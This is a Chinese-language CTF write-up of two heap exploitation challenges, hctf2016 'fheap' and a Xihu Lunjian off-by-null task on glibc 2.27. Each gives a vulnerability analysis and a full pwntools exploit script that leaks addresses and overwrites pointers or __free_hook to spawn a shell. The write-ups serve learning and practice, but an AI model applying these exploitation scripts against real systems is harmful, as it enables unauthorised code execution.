fheap

来源:https://github.com/zh-explorer/hctf2016-fheap/blob/master/main.c

题目

只有两个功能:add delete

add 初始时会分配一个struct,然后会分两种情况:

  1. 长度小于16时,不再申请新的chunk,原结构体的前十六个字节用于接收用户输入;
  2. 长度大于16时,会申请一个新的chunk,用于存放data,此时原结构体的前八个字节存放着指向新chunk的指针。

原结构体的最后十六个字节,会分别存放size 及 对应的 free函数

这里可以看到输入的size没有任何卵用,后面还是根据输入的长度来确定的。

delete 会检查存放在bss段的指针,指针存在就可以释放

分析

delete 函数有明显的漏洞,之前本来设置了inuse位,但是并没有检查,同时指针仅仅是free而没有置为空,所以可以double free;

还有问题就是指针同时存放在堆中,一般而言,这样很容易造成劫持;

不过这次没有show函数,也就是说,没有办法直接通过输出泄露地址,这样一般就需要劫持指针或者是最低位修改;

而且这次有个问题就是或许是因为没有设置缓冲区的原因,前面输入的chunk data在后面新建chunk会直接赋值过去,这样子造成如果初始时分配大的chunk,后面就没办法分配到小chunk了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwnf'
p = process(name)
elf= ELF(name)

# puts_offset = 0xd1a
# printf_pffset = 0xdbb
def create(num,data):
p.recvuntil('3.quit\n')
p.sendline('create ')
p.recvuntil('Pls give string size:')
p.sendline(str(num))
p.recvuntil('str:')
p.send(data)

def delete(num):
p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(num))
p.recvuntil('Are you sure?:')
p.send("yes")

create(5,'a'*5) #0
create(5,'b'*5) #1

delete(1)
delete(0)

#leak
pay1 = 'q'*20 + 's'*4 + '\x1a'
create(32,pay1)
delete(1)
p.recvuntil('s'*4)
puts_addr = u64(p.recv(6) + '\x00\x00')
proc_base = puts_addr - 0xd1a
printf_addr = proc_base + 0x9d0

delete(0)
pay2 = 'a'*8 + '%30$p' + 's'*11 + p64(printf_addr)
create(32,pay2)
delete(1)
x = p.recv()
libc_addr = int(x[8:22],16) - 0x3b5760
system_addr = libc_addr + 0x42510

#getshell
p.sendline('')
delete(0)
pay3 = '/bin/sh;' + 's'*16 + p64(system_addr)
create(32,pay3)
delete(1)

p.interactive()

pwn

ex师傅给的题,说是西湖论剑的一道题目,题目质量还是可以的,写一下。

题目

正常的堆,四个功能齐全,漏洞点也比较明显(虽然第一次被我直接跳过了。。)。在add的时候使用了自己的get_str函数,将最末尾置为了0,
也就是最近经常见到的off-by-null,不过就是这次分配时大小是固定的且libc为2.27,所以多了一些技巧性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_BYTE *__fastcall get_str(_BYTE *a1, int size)
{
_BYTE *result; // rax
int v3; // [rsp+1Ch] [rbp-4h]

v3 = 0;
if ( size )
{
while ( 1 )
{
read(0, &a1[v3], 1uLL);
if ( v3 > size - 1 || !a1[v3] || a1[v3] == '\n' )
break;
++v3;
}
a1[v3] = 0;
result = &a1[size];
*result = 0;
}
else
{
result = a1;
*a1 = 0;
}
return result;
}

分析

tcache机制需要绕过,同时也带来了一些便利,比如分配时不检查size
思路:

  1. 绕过tcache,利用unsorted bin中残留的信息泄露libc
  2. 利用tcache, 根据其中残留的信息泄露heap
  3. 利用off-by-null,改变inuse位,伪造fake chunk触发unlink实现chunk extend
  4. 将重叠的堆块重新置入tcache中,修改fd到free_hook修改为one_gadget getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python2

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('xihu')
elf = ELF('xihu')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('','')
elf = ELF('xihu')
#libc=ELF('')


def add(size,con):
sh.sendlineafter('command:\n','1')
sh.sendlineafter('size:\n',str(size))
sh.sendlineafter('content:\n',con)


def show(index):
sh.sendlineafter('command:\n','3')
sh.sendlineafter('enter index:\n',str(index))


def dele(index):
sh.sendlineafter('command:\n','2')
sh.sendlineafter('enter index:\n',str(index))

def edit(index,con):
sh.sendlineafter('command:\n','4')
sh.sendlineafter('enter index:\n',str(index))
sh.sendafter('content:\n',con)



for i in range(10):
add(0xf7,str(i)*0x20)


for i in range(8):
dele(i)

#----------------unsorted bin leak libc-------------------------------#
#gdb.attach(sh)
add(0xf8,'')#0
for i in range(1,7):
add(0xf7,str(i)) #1-6

add(0xf7, '7') #7
edit(7, 'a' * 8)
show(7)
sh.recvuntil('a'*8)
libc_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3ebca0
print "libc: "+hex(libc_base)
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322

#---------------tcache leak heap -------------------------------------#
#gdb.attach(sh)
edit(0,'0')
show(0)
heap_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x730
print hex(heap_base)


#------fake chunk unlink #---chunk extend cover fd ptr--------------#

chunk0_addr = heap_base + 0x850
fake_chunk = chunk0_addr + 0x10

pay = p64(0)+p64(0xf0)+p64(fake_chunk)+p64(fake_chunk)+'a'*0xd0+p64(0xf0)

edit(0,pay)


dele(8)

for i in range(1,7):
dele(i)

dele(7)

for i in range(1,8):
add(0xf7,str(i))

add(0xf7,'8')
dele(2)
dele(8)
pay = p64(0)+p64(0x101)+p64(free_hook)
edit(0,pay)

add(0,'')
#gdb.attach(sh)
add(0xf7,'')
edit(8,p64(one_gadget))

dele(0)

#gdb.attach(sh)
sh.interactive()